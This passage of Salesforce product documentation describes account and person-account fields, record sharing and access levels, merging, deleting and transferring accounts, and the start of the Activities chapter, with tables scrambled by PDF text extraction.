(D&B)

Shipping Street

Shipping City

Shipping State/Province

Shipping Zip/Postal Code

Shipping Country

SIC Code

(D&B)

96

Accounts

Account Fields

Field
SIC Description Territories

Description A brief description of an organizations line of business, based on its SIC code. The territories to which the account has been assigned. See Territory Management Overview on page 2773. The abbreviation used to identify publicly traded shares of a particular stock. Also known as the stock symbol. Up to 20 characters are allowed in this field. A name, different from its legal name, that an organization may use for conducting business. Similar to Doing business as or DBA. This field is only available to organizations that use Data.com Corporate or Data.com Premium. Type of account, for example, Customer, Competitor, or Partner. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. Listing of custom links for accounts as set up by your administrator. URL of accounts website, for example, www.acme.com. Up to 255 characters are allowed in this field; only the first 50 are displayed. The date when an organization was legally established.This field is only available to organizations that use Data.com Corporate or Data.com Premium.

Allows Value from Data.com or D&B (D&B)

Ticker Symbol

(D&B)

Tradestyle

(D&B)

Type

Custom Links Website

(Data.com)

Year Started

(D&B)

Person Account Fields


A person account has the following standard fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Fields with an X in the Is Contact Field column are contact fields that are supported for person accounts but not business accounts. Note that this list does not include any custom fields that your administrator may have created. Both account and contact custom fields are available for person accounts.

97

Accounts

Account Fields

Field
Account Currency

Description The default currency for all currency amount fields in the account. Amounts display in the account currency and are also converted to the users personal currency. Available only for organizations that use multiple currencies. Division to which the account belongs. Records related to the account, such as contacts and opportunities, automatically inherit the accounts division. Available only in organizations that use divisions to segment their data. The name of the individual. In person accounts, the account name cannot be edited directly. Instead, Salesforce derives it by combining the First Name and Last Name fields in the appropriate order per the user's language setting. The name of the account translated into the local language. Tracking or reference number for account. Up to 40 characters are allowed in this field. Assigned owner of account. Not available in Personal Edition. Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Editions. Information about the accounts location, such as single location, Headquarters, or Branch. Up to 80 characters are allowed in this field. Amount of annual reported revenue. Name of assistant. Up to 40 characters are allowed in this field. Assistants phone number. Up to 40 characters are allowed in this field. City portion of billing address. Up to 40 characters are allowed in this field. Country portion of billing address. Up to 40 characters are allowed in this field.

Is Contact Field

Account Division

Account Name

Account Name (Local) Account Number

Account Owner Account Record Type

Account Site

Annual Revenue Assistant Asst. Phone Billing City Billing Country

98

Accounts

Account Fields

Field
Billing State/Province

Description State or province portion of billing address. Up to 20 characters are allowed in this field. Street address used for billing. Up to 255 characters are allowed in this field. Zip or postal code portion of billing address. Up to 20 characters are allowed in this field. Birthday. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. User who created the account, including creation date and time. (Read only) Listing of custom links for accounts as set up by your administrator. Associated business or organizational unit. Up to 80 characters are allowed in this field. Description of account. Up to 32 KB of data are allowed in this field. Only the first 255 characters display in reports. Indicates that the contact does not want to be contacted by phone. If you use Data.com, the Phone field value will be masked out in search results and on the Contact Card, and it will be blank in .csv files created when you export records. Email address. Must be a valid email address in the form: jsmith@acme.com. Up to 80 characters are allowed in this field. Indicates that the contact does not want to receive email. If you use Data.com, the Email field value will be masked out in search results and on the Contact Card, and it will be blank in .csv files created when you export records. Number of people employed by the account.

Is Contact Field

Billing Street Billing Zip/Postal Code

Birthdate

Created By Custom Links Department

Description

Do Not Call

Email

Email Opt Out

Employees

Evaluate this account against When checked, causes account assignment rules to run when the account territory rules on save

is edited and saved. When customizing the page layout for accounts, an

99

Accounts

Account Fields

Field

Description administrator can control whether this checkbox displays and whether it is checked by default. See Territory Management Overview on page 2773.

Is Contact Field

Exclude from territory assignment rules

When checked, shields the account from being evaluated when account assignment rules are run, preventing it from being automatically assigned to territories. Also, if the account is already assigned to territories as a result of assignment rules, checking this box removes the account from those territories. This checkbox only affects rule-based account assignments and has no effect on manual account assignments. See Territory Management Overview on page 2773. Fax number. Up to 40 characters are allowed in this field. Indicates if the person has requested not to be included in broadcast faxes. The first or given name of the individual. Up to 40 characters are allowed in this field. Persons home phone number. Up to 40 characters are allowed in this field. Primary business of account. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. The surname or family name of the individual. Up to 80 characters are allowed in this field. The date that the most recent Stay-in-Touch request was sent. The date that the most recent Stay-in-Touch request was returned and merged. Record source, for example, Advertisement, Partner, or Web. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters.

Fax Fax Opt Out First Name

Home Phone Industry

Last Name

Last Stay-in-Touch Request Date Last Stay-in-Touch Save Date

Lead Source

100

Accounts

Account Fields

Field
Mailing City Mailing Country Mailing State/Province

Description City portion of mailing address. Up to 40 characters are allowed in this field. Country portion of mailing address. Up to 40 characters are allowed in this field. State or province portion of mailing address. Up to 20 characters are allowed in this field. Street mailing address. Up to 255 characters are allowed in this field. Zip or postal code portion of mailing address. Up to 20 characters are allowed in this field. Cellular or mobile phone number. Up to 40 characters are allowed in this field. User who last changed the account fields, including modification date and time. This does not track changes made to any of the related list items on the account. (Read only) City portion of additional address. Up to 40 characters are allowed in this field. Country portion of additional address. Up to 40 characters are allowed in this field. Additional phone number listing. Up to 40 characters are allowed in this field. State or province portion of additional address. Up to 20 characters are allowed in this field. Street address portion of additional address. Up to 255 characters are allowed in this field. Zip or postal code portion of additional address. Up to 20 characters are allowed in this field. Ownership of company, for example, public or private. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. Primary phone number of account. Up to 40 characters are allowed in this field.

Is Contact Field

Mailing Street Mailing Zip/Postal Code

Mobile Modified By

Other City Other Country

Other Phone Other State/Province

Other Street

Other Zip/Postal Code

Ownership

Phone

101

Accounts

Account Fields

Field
Rating

Description Categorization of how you rate this account, for example, Hot, Cold. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. Title for addressing the person, for example, Mr., Ms., Dr., or Prof. Entry is selected from a picklist of available values, which are set by an administrator. Each picklist value can have up to 40 characters. City portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. Country portion of primary mailing or shipping address. Up to 40 characters are allowed in this field. State or province portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Primary mailing or shipping street address of account. Up to 255 characters are allowed in this field. Zip or postal code portion of primary mailing or shipping address. Up to 20 characters are allowed in this field. Standard Industrial Classification code of the accounts main business categorization. Up to 10 characters are allowed in this field. The territories to which the account has been assigned. See Territory Management Overview on page 2773. The abbreviation used to identify publicly traded shares of a particular stock. Also known as the stock symbol. Up to 20 characters are allowed in this field. Person's position within his or her organization. Up to 80 characters are allowed in this field. Type of account, for example, Customer, Competitor, or Partner. Entry is selected from a picklist of available values, which

Is Contact Field

Salutation

Shipping City

Shipping Country

Shipping State/Province

Shipping Street

Shipping Zip/Postal Code

SIC Code

Territories

Ticker Symbol

Title

Type

102

Accounts

Viewing Parent Accounts

Field

Description are set by an administrator. Each picklist value can have up to 40 characters.

Is Contact Field

Website

URL of accounts website, for example, www.acme.com. Up to 255 characters are allowed in this field; only the first 50 are displayed.

See Also:
Data.com Product Suite Overview

Viewing Parent Accounts


Available in: All Editions except Database.com

User Permissions Needed To view accounts: To view parent accounts: Read on accounts Read on accounts

The account hierarchy shows you the accounts that are associated through the Parent Account field, giving you a global view of a company and its subsidiaries. In the hierarchy, accounts are indented to show that they are subsidiaries of the parent account above them. To view the account hierarchy, click View Hierarchy next to the account name on the account detail page. The Account Hierarchy page displays up to 500 child accounts. If you dont have access to certain accounts that appear on the Account Hierarchy page, the columns for those accounts wont display details. To list an account as a subsidiary, edit the subsidiary account and type the name of an existing account in the Parent Account field. Alternatively, you can click the lookup icon to search for (or optionally, create) a parent account.

The parent account must be an existing account before it can be entered and saved in this field. For companies with multiple office locations, you can also use the Account Site field to distinguish among the locations. If your organization uses divisions, accounts that are associated via the Parent Account field do not need to be in the same division. The Parent Account field and the View Hierarchy link are not supported for person accounts.

See Also:
Using Accounts Creating Accounts What is a Person Account?

103

Accounts

Sharing Accounts

Sharing Accounts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's sharing model as well as your organization's default account access levels for territories. However, you can extend sharing privileges for your own data on an account-by-account basis. You can use account sharing to increase access to your accounts; you cannot restrict access beyond your organizations default access levels. To view and manage sharing details, click Sharing on the account detail page. The Sharing Detail page lists the users, groups, roles, and territories that have sharing access to the account. On this page, you can do any of the following: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Add to grant access to the record for other users, groups, roles, or territories. Note: When you share an account, Salesforce prompts you to share any related contacts, opportunities, or cases, up to and including your access level. Enterprise, Unlimited, and Developer Edition users can also share related records from the record detail pages. Ensure users have at least Read permission on shared records. Alternatively, you can share account access by creating an account team. Click Expand List to view all users that have access to the record. For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level. For accounts, you can also edit the Owner sharing rule.

See Also:
Granting Access to Records Viewing Which Users Have Access Territory Management Overview Sharing Opportunities Sharing Contacts Sharing Cases Account Teams Overview

104

Accounts

Granting Access to Records

Granting Access to Records


Sharing for accounts and contacts is available in: Professional, Enterprise, Unlimited, and Developer Editions Sharing for campaigns, cases, custom object records, leads, and opportunities is available in Enterprise, Unlimited, and Developer Editions Sharing for custom objects is available in Database.com

Users can manually grant access to certain types of records. In some cases, granting access includes access to all associated records. For example, if you grant another user access to your account, the user will automatically have access to all the opportunities and cases associated with that account. To grant sharing privileges for a record, you must be the record owner, any user granted Full Access, an administrator, or (provided your sharing settings control access through hierarchies) a user in a role above the owner in the hierarchy. Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults. To grant access to a record: 1. Click Sharing on the record you want to share. 2. Click Add. 3. From the drop-down list, select the type of group, user, role, or territory to add. Your choices are: Type Public Groups Personal Groups Users Roles Roles and Subordinates Description All public groups defined by your administrator. All personal groups defined by the record owner. Only the record owner can share with his or her personal groups. All users in your organization. Does not include portal users. All roles defined for your organization. This includes all of the users in that role. This includes all of the users in the role plus all of the users in roles below that role. Only available when no portals are enabled for your organization. All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, excluding partner portal and Customer Portal roles. Adding a role and its subordinate roles, includes all of the users in that role plus all of the users in roles below that role. Only available when a partner or Customer Portal is enabled for your organization. Includes portal roles and users.

Roles and Internal Subordinates

Roles, Internal and Portal Subordinates

105

Accounts

Granting Access to Records

Type Territories

Description All territories defined for your organization. This includes all users in that territory. This option is only available if your organization uses territory management. Includes all users in the territory plus the users below that territory. This option is only available if your organization uses territory management.

Territories and Subordinates

4. Choose the specific groups, users, roles, or territories who should have access by adding their names to the New Sharing list. 5. Choose the access level for the record you are sharing and any associated records that you own. The possible access levels are: Access Level Full Access Description User can view, edit, delete, and transfer the record. User can also extend sharing access to other users; however, the user cannot grant Full Access to other users. User can view and edit the record, and add associated records, notes, and attachments to it. User can view the record, and add associated records to it. They cannot edit the record or add notes or attachments. User cannot access the record in any way.

Read/Write Read Only Private

Note: When sharing an opportunity or case, users must also have at least read access to the associated account (unless you are sharing a case via a case team). If you also have privileges to share the account, users are automatically given read access to the account. If you do not have privileges to share the account, you must ask the account owner to give the users read access to it. Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent. For sharing rules that specify access for associated object records, the given access level applies to that sharing rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts, a user may still have access to associated contacts via other means, such as organization-wide defaults, the Modify All Data or View All Data permission, or the Modify All or View All permission for contacts.

6. When sharing a forecast, select Submit Allowed to enable the user, group, or role to submit the forecast. 7. Select the reason for the share to allow users and administrators to understand the source of the sharing. For more information on sharing reasons, see Creating Apex Sharing Reasons on page 643. 8. Click Save.

106

Accounts

Viewing Which Users Have Access

Editing or Deleting Record Access


To edit the access levels for a record, click Sharing on the record, and then click Edit next to the group, user, role, or territory whose access you want to modify. To delete the sharing access for a group, user, role, or territory, click Sharing on the record, and then click Del next to the group, user, role, or territory whose access you want to remove.

See Also:
Sharing Accounts Sharing Campaigns Sharing Cases Sharing Contacts Sharing Custom Object Records Sharing Leads Sharing Opportunities Viewing Which Users Have Access Case Teams Overview Controlling Access Using Hierarchies Manually Sharing a Forecast

Viewing Which Users Have Access


Available in: Professional, Enterprise, Unlimited, and Developer Editions

After you have granted access to a record you own, you can view a list of users who have access to the record and its related information. High-volume portal users and Customer Portal super users are excluded from this list. You can also see an explanation of each user's access. 1. Click Sharing on the desired record. 2. Click Expand List to view a detailed list of every user who has access that is greater than the organization-wide default settings. The list also shows each users access level for the record and any associated records. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. The possible access levels are: Access Level Full Access Description User can view, edit, delete, and transfer the record. User can also extend sharing access to other users; however, the user cannot grant Full Access to other users. User can view and edit the record, and add associated records, notes, and attachments to it. User can view the record, and add associated records to it. They cannot edit the record or add notes or attachments.

Read/Write Read Only

107

Accounts

Viewing Which Users Have Access

Access Level Private

Description User cannot access the record in any way.

Note: For sharing rules that specify access for associated object records, the given access level applies to that sharing rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts, a user may still have access to associated contacts via other means, such as organization-wide defaults, the Modify All Data or View All Data permission, or the Modify All or View All permission for contacts. In addition, for forecast sharing, the list shows whether the user can submit a forecast (in forecasting versions where sharing is available). 3. Click Why? next to a users name to find out why the user has access to the record. If there are multiple reasons with different access levels, the user is always granted the most permissive access level. The possible reasons are: Reason Account Sharing Rule Account Sharing Account Team Account Territory Account Territory Rule Administrator Description The user has access via an account sharing rule created by the administrator. The user was granted access via the Sharing button on the associated account. The user is a member of the account team. The account has been assigned to a territory to which the user has access. The user has access via an account territory sharing rule created by the administrator. The user has the Modify All Data or View All Data administrative permission, or the Modify All or View All object permission. The portal user or any role above the portal user's role has access to the account for which the portal user is a contact. The user owns or has sharing access to a contact or contract associated with the account. Click the link to view which associated records the user owns or has been given sharing access to. The user is a member of a share group that has access to a contact or contract that's associated with the account owned by high-volume portal users. The user has access via a campaign sharing rule created by the administrator. The user has access via a case sharing rule created by the administrator.

Associated Portal User or Role Associated Record Owner or Sharing

Associated Record Sharing

Campaign Sharing Rule Case Sharing Rule

108

Accounts

Viewing Which Users Have Access

Reason Contact Sharing Rule Delegated Forecast Manager

Description The user has access via a contact sharing rule created by the administrator. A user has access to forecast data that was granted via the Sharing button on the forecast (in forecasting versions where sharing is available). A user has access due to being a forecast manager in the forecast hierarchy. The user has access via a lead sharing rule created by the administrator. The user has a subordinate in the role hierarchy who is assigned to the territory with which the account is associated. The user has access that was granted via the Sharing button on the record. The account has been manually assigned to a territory to which the user has access. The user has access via an opportunity sharing rule created by the administrator. The user owns the record, or the user is a member of the queue that owns the record or above the queue member in the role hierarchy. The user is a member of a share group that has access to records owned by high-volume portal users. The portal user is a contact on the case. The user's role is above the role of a portal user who has access to the record via ownership or sharing. The user is a member of the opportunity sales team. The user has the View All Forecasts permission.

Forecast Manager Lead Sharing Rule Manager of Territory Member Manual Sharing Manual Territory Sharing Opportunity Sharing Rule Owner

Portal Share Group Related Portal User Role Above Owner or Shared User (Portal Only) Sales Team View All Forecasts Permission

109

Accounts

Merging Duplicate Accounts

Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults.

See Also:
Sharing Accounts Sharing Contacts Sharing Opportunities Sharing Cases Sharing Custom Object Records Setting Your Organization-Wide Sharing Defaults Controlling Access Using Hierarchies Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users Manually Sharing a Forecast

Merging Duplicate Accounts


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To merge business accounts: To merge person accounts: Read on accounts Delete on accounts Delete on accounts AND Read on contacts

1. From the Accounts tab, click Merge Accounts in the Tools section. 2. Enter a search string to find the duplicate accounts. For example, you can enter acme* to find duplicate accounts listed as Acmes and Acme, Inc. Do not use the local name for the account. Then click Find Accounts. 3. Check the rows of up to three accounts you want to merge. Click Next. 4. Select one account as the Master Record. Any data in hidden or read-only fields will be taken from the Master Record. However, administrators, and users with the Edit Read Only Fields permission, can manually select which read-only fields to retain. Note that hidden fields are not displayed during the merge. 5. Select the fields that you want to retain from each record. When there is conflicting data, the fields in the left column are preselected and the row is marked in blue.

110

Accounts

Merging Duplicate Accounts

6. Click the Merge button to complete the merge.

Tips on Merging Accounts


You can merge accounts if you are an administrator, the account owner, or a user above the account owner in the role hierarchy and you have the appropriate user permissions. When merging two accounts that you do not own, you must have Delete permissions on accounts and Edit permissions on opportunities and cases. You need Delete permissions on accounts because you are deleting one of the accounts when you perform an account merge. You need Edit permissions on opportunities and cases because changing the account name field (AccountID) edits any opportunities or cases that are associated with the accounts you are merging. Any related items from any of the duplicate accounts will be associated with the newly merged account. In Professional, Enterprise, Unlimited, and Developer Edition organizations, any sharing rules are applied to the newly merged account. Also, any manual sharing from the Master Record is applied to the merged account. When you merge accounts that are listed in the Parent Account field of other accounts, the newly merged account is linked only to the accounts of the selected Master Record. All discarded duplicate records are moved to the Recycle Bin. The newly merged account displays the Created By date from the oldest account you are merging, and shows the merge date as the Modified By date. If both accounts have different account teams, the merged account will contain members from both account teams. In organizations that use divisions, the merged account is assigned to the division of the Master Record, unless you select otherwise. When you merge accounts that have territories and the Exclude from account assignment rules box was deselected on both of the original accounts, account assignment rules will run on the new account to determine its territories. Also, any manually added territories on the original accounts will be manually added to the new account. When you merge accounts that have territories and the Exclude from account assignment rules box was checked on one or both of the original accounts: The newly merged account has all of the territories of the original accounts. Account assignment rules will not run on the newly merged account. If a territory was assigned to one of the original accounts based on account assignment rules, it will appear as having been assigned to the new account based on rules even if the new account does not match the rules. If a territory was manually assigned to one of the original accounts, it will be manually assigned to the new account. If a territory was added to one account manually and to the other account by rules, it will be manually added to the new account. When you merge accounts, you also merge the accounts' memberships in relationship groups. For more information, see Merging Accounts Associated with Relationship Groups on page 112.

Tips on Merging Person Accounts


If your organization uses person accounts, both business accounts and person accounts are returned when you search for duplicates. However, you cannot merge a person account with a business account or vice versa. Person accounts are indicated by the person account icon ( ). You can't merge person accounts enabled to use a Customer Portal.

Tips on Merging Accounts Associated with Portals


You must have the Manage Users permission to merge accounts associated with portals. You can merge accounts that have contacts associated with the same type of portal. For example, you can merge accounts that have contacts associated with a partner portal or Customer Portal, but you cannot merge an account that has contacts associated with a partner portal with an account that has contacts associated with a Customer Portal.

111

Accounts

Merging Accounts Associated with Relationship Groups

When you merge accounts that have contacts associated with multiple portals of the same type, a contact's access to a specific portal does not change. This is because a portal user's profile determines the portal he or she can access. When merging a partner account with a non-partner account, the partner account must be the master. When merging partner accounts with a non-partner account, the owner cannot be changed. To ensure that merged accounts will include contacts associated with a portal, select the account with portal users as the master record during the merge process.

See Also:
Merging Duplicate Contacts What is a Person Account? Creating Partner Accounts

Merging Accounts Associated with Relationship Groups


Available in: Salesforce for Wealth Management

User Permissions Needed To merge business accounts: To merge person accounts: Delete on accounts Delete on accounts, Read on contacts

When working with wealth management accounts (clients), you can merge up to three duplicate accounts at a time. For example, if the accounts Joe Bannon all represent the same client and need to be merged, you can use the Merge Accounts tool to consolidate those records into one. When you merge accounts, you also merge the accounts' memberships in relationship groups. Note that merging results in a single account, and an account cannot exist more than once in the same relationship group. Review the following considerations before merging accounts that are members of relationship groups: The account you select as the master record retains its original relationship group memberships. For example, if the master record Joseph Bannon was a member of the Bannon Family and Bannon Law Firm relationship groups, it remains a member of those relationship groups. The master record replaces the non-master records in all other relationship groups involved in the merge. For example, if the non-master record Joe Bannon was a member of Bannon Trust Beneficiaries, the master record is transferred Joe Bannon's membership in Bannon Trust Beneficiaries. If there is a relationship group to which the master record did not originally belong but the multiple non-master records belong, the master record is transferred the membership of the non-master account that had higher priority (primary versus secondary) or the account whose member record was most recently modified in the relationship group. For example, if the non-master records JR Bannon and Joe Bannon both were members of Acme LLP and JR Bannon was primary, then the master record is transferred JR Bannon's membership in Acme LLP. Alternatively, if neither JR Bannon or Joe Bannon

112

Accounts

Adding Translated Names

were primary or secondary but JR Bannon's member record in the relationship group was modified more recently, then the master record would be transferred JR Bannon's membership in Acme LLP.

See Also:
Merging Duplicate Accounts Removing Members from Relationship Group Members

Adding Translated Names


Available in: Professional, Enterprise, Unlimited, and Developer Editions

A local name stores a translated value for a corresponding account, contact, or lead field. For example, you can store the name of an account in the default language of your organization as well as the accounts or users language. The following fields can have corresponding local names: Standard Field Account Name Contact: First Name Contact: Last Name Lead: Company Lead: First Name Lead: Last Name Local Name Field Account Name (Local) Contact: First Name (Local) Contact: Last Name (Local) Lead: Company Name (Local) Lead: First Name (Local) Lead: Last Name (Local)

Local names do not affect the users language settings. Depending on your page layout settings, they can both be displayed on the detail or edit page. To enable the ability to use local names, your administrator must first contact salesforce.com and then add the corresponding local name fields to your page layout settings.

See Also:
Managing Page Layouts

113

Accounts

Deleting Accounts

Deleting Accounts
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: To delete accounts: Read on accounts Delete on accounts

To delete an account, click Del next to the account on the accounts list page, or click Delete on the account detail page. When you delete an account it's moved to the Recycle Bin along with any of these related items: Contacts Opportunities Contracts (if they're not activated) Activities Notes Attachments Portal roles and groups (if all portal users in the account are disabled) Partner relationships Relationship group members

If you undelete an account, any related items are also restored except for: Relationship group members in some cases. See Removing Members from Relationship Group Members on page 2828. Portal roles and groups. See Using Accounts on page 79.

You can't delete an account if it has been enabled as a partner account, has associated cases, activated contracts, related opportunities that are owned by other users, or associated contacts are enabled for the Self-Service portal. In addition, if you attempt to delete an account that has closed/won opportunities owned by you, a message displays asking you whether you want to delete the closed/won opportunities along with the account or to cancel the account deletion. Note: You can delete an account if you are an administrator, the account owner, or a user above the account owner in the organization role hierarchy, and if you have the appropriate user permission. You do not need the Delete permission on any associated records that are included in the deletion.

See Also:
Recycle Bin Deleting Mass Data Merging Duplicate Accounts What is a Person Account?

114

Accounts

Searching for Accounts

Searching for Accounts


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view accounts: Read on accounts

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. If you're using local account names, search finds matches for standard or local account names. 3. From the search results, click an item to open it or click Edit, if available. You can also create an account list view to find accounts that match specific criteria.

See Also:
Search Overview What is a Person Account?

Changing Ownership
Available in: Contact Manager, Group, Professional, Enterprise Unlimited, and Developer Editions

User Permissions Needed To transfer single records: Transfer Record

Before transferring a record to a new owner, make sure the new owner has at least Read permission on the object. 1. In the object detail page, click Change next to the Owner field. If you dont see the Change link, you dont have permissions to change record ownership. 2. Enter or select a new owner. In organizations where the Salesforce Customer Portal or partner portal is enabled, you can filter the results that appear on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down list. Note: Only users you are able to transfer ownership to are visible. Neither the User group nor the Roles and Internal Subordinates group contains Customer Portal or partner users.

115

Accounts

Changing Ownership

3. Select the Send Notification Email checkbox to notify the new owner. The From email address displayed in the notification is your return email address as set in the Email Address field of your email settings. For cases in Professional, Enterprise, Unlimited, and Developer Edition organizations, the email text is determined by the Case Assigned Template setting specified in the Support Settings. For other records, the email text is automatically generated and cannot be customized. 4. Depending on the type of object you are transferring and your user permissions, the following checkboxes may also appear: Checkbox
Change Division

Description

Appears For

Transfers the record to the new owner's division. All records Accounts and leads, if you related to the account are transferred to the new division as can view or edit the well. Division field

Transfer open Transfers open opportunities owned by other users that are Accounts opportunities not associated with the account. owned by the existing account owner Transfer closed opportunities

Transfers the closed opportunities associated with the account. This option applies only to closed opportunities owned by the account owner; closed opportunities owned by other users are not changed.

Accounts

Transfer open cases Transfers any open cases associated with the account that owned by the existing are owned by the existing account owner. account owner

Accounts

Transfer closed cases Transfers the closed cases associated with the account. This Accounts

option applies only to closed cases owned by the account owner; closed cases owned by other users are not changed.
Keep Account Team

Transfers all account team members on the account to the Accounts new owner. Opportunities transferred to the new owner. If this box is unchecked, all opportunity team members are deleted when the opportunity is transferred to the new owner. Note: If you transfer closed opportunities, the opportunity team is maintained, regardless of this setting.

Keep Opportunity Team Preserves the opportunity team when the opportunity is

Note: If you change an account owner with both Transfer closed opportunities and Keep Opportunity Team deselected, the opportunity team members' access for closed opportunities becomes Private (that is, the opportunity team members lose access to any closed opportunities). 5. Click Save to finish.

116

Accounts

Transfer of Associated Items

After you change a record's owner, the previous owner's visibility reverts to the default sharing setting unless that user is on an account or opportunity team. For example, if the previous owner of an account is on an account team, that user has Read Only or the access specified in your organization-wide default for accounts, whichever is greater. The previous owner's access to related records remain the same. This behavior is the same for opportunity owners that are members of an opportunity team as long as you change ownership using the API. When you change ownership of an opportunity within Salesforce, you can select the access level you want.

See Also:
Transferring Records Overview Mass Transferring Records Assigning Leads Assigning Cases Changing Document Authors Editing Email Settings Territory Management Overview

Transfer of Associated Items


Available in: Contact Manager, Group, Professional, Enterprise Unlimited, and Developer Editions

When you change record ownership, some associated items that are owned by the current record owner are also transferred to the new owner. Important: Workflow rules that update owners do not also transfer associated items. To ensure transfer, click Change next to the owners name in a record and make your transfer selections.

Record Type Accounts

Associated items that are also transferred Contacts, contracts with Draft status, attachments, notes, and open activities. Depending on your selections, this can also include open opportunities not owned by the current account owner, closed opportunities, open cases owned by the existing account owner, and closed cases. When a partner account is transferred, partner users associated with that account are moved into the role hierarchy beneath the new owner. Contracts with Activated status are not transferred to the new owner, however, the new owner has read-only access to these contracts.

Contacts Opportunities Leads Cases

Notes, attachments, and open activities Notes, attachments, and open activities Notes, attachments, and open activities. Open activities are not transferred if you change lead ownership using the Assign using active assignment rule checkbox. Notes, attachments, and open activities

117

Accounts

Changing the Record Type Field

Record Type Campaigns Contracts Custom objects

Associated items that are also transferred Attachments and open activities Notes, attachments, and open activities Notes, attachments, and open activities

Note: You can't transfer events to which you have been invited and don't own.

See Also:
Transferring Records Overview Changing Ownership

Changing the Record Type Field


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change the record type for a record: Edit on the object

Record types determine the picklist values that are available when creating and editing a record. When creating a record, you can choose the record type if you have different record types available to your profile and you have not set your record type preferences to bypass the record type selection page. When editing existing records, you can change the record type from the record detail page. 1. Click Change next to the Record Type field on a record detail page. Note: For campaign members, click Change next to the Campaign Member Type field on a campaign detail page. You must have the Marketing User user permission to change the campaign member type. 2. 3. 4. 5. Select a record type. The available record types are listed at the bottom of the page. Click Continue. Make any changes to the record. Click Save. Note: Changes are not saved until you click Save; clicking Continue does not save the record. If your organization uses person accounts, your administrator has configured two different kinds of record types for your organization's accounts: one for business accounts, and another for person accounts. You can change an account's

118

Activities

Activity Overview

record type only to another record type of the same kind. For example, you cannot change a person account record type to one designated for business accounts.

See Also:
Setting Record Type Preferences What is a Person Account?

ACTIVITIES
Activity Overview
Available in: All Editions except Database.com

Activities include tasks, calendar events, and requested meetings. You can define and track activities for many different objects, including campaigns, accounts, contacts, and leads. Activities display in related lists on associated records as well as on the Home tab. Note: Administrators can modify activity fields and control the page layouts for tasks and events.

See Also:
Accessing Activities Creating Activities Searching for Activities Activity Fields Shared Activities Overview

Accessing Activities
Available in: All Editions except Database.com

Important: If you use Shared Activities, you can view an activity if you have access to at least one of the contacts or a lead related to the activity as well as a Related To object.

119

Activities

Accessing Activities

Viewing and editing tasks and events depends on a number of factors. Use the following table to determine who can access activities. To do this: View an activity You must: Be assigned to the activity, or Be above the user assigned to the activity in the role hierarchy, or Have at least read access to the record to which the activity is associated, or Have the View All object-level permission in the related record, where the sharing model for that record is Controlled By Parent (if Shared Activities is enabled, you need the View All object-level permission for at least one contact and the related record), or Have the View All Data permission Have the Edit Tasks and Edit Events permissions

Create an activity

AND Have at least read access to a record, if associating the activity with another record Have the Edit Tasks and Edit Events permissions

Edit an activity

AND Be assigned to the activity, or Be above the user assigned to the activity in the role hierarchy, or Have the Modify All object-level permission in the related record, where the sharing model for that record is Controlled By Parent (if Shared Activities is enabled, you need the Modify All object-level permission for at least one contact and the related record), or Have the Modify All Data permission Have the Edit Tasks and Edit Events permissions

Delete an activity

AND Be assigned to the activity, or Be above the user assigned to the activity in the role hierarchy, or Have the Modify All object-level permission in the related record, where the sharing model for that record is Controlled By Parent (if Shared Activities is enabled, you need the Modify All object-level permission for at least one contact and the related record), or Have the Modify All Data permission Have the Edit Tasks and Edit Events permissions to create and edit activities

View, add, and edit events on other users calendars

AND Have access to the users calendar, which depends on your organization-wide calendar sharing defaults and how the user has set up individual calendar sharing.

120

Activities

Viewing Activities

To do this:

You must: See Setting the Sharing Model and Sharing Your Calendar. Note: Events marked as private via the Private checkbox are accessible only by the user assigned to the event. Other users cannot see the event details when viewing that users calendar. However, users with the View All Data or Modify All Data permission can see private event details in reports and searches, or when viewing other users calendars.

Tip: The user who is assigned to an activity in the Assigned To field is often referred to as the activity owner.

See Also:
Viewing Activities Editing Activities Deleting Activities Shared Activities Overview Activity Fields

Viewing Activities
Available in: All Editions except Database.com

Activities include tasks and calendar events. Activities can display in the following locations: Home Tab Many users go to the Home tab to view their tasks and events. See Using Your Tasks and Calendar on the Home Page on page 56. Activity Feed (Chatter) Display a Chatter feed of updates, comments, and posts about the activity. Open Activities and Activity History Related Lists You can also view, create, and update activities from the Open Activities and Activity History related lists of an associated record. These related lists show all activities associated with the record, including activities that are assigned to other users. See Using the Open Activities Related List on page 132 and Using the Activity History Related List on page 133. Activity List Views To display a list of activities for which you or your team is responsible for completing, click below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the Calendar or My Tasks sections, contact your administrator to customize your home page layout.

121

Activities

Viewing Activity Lists

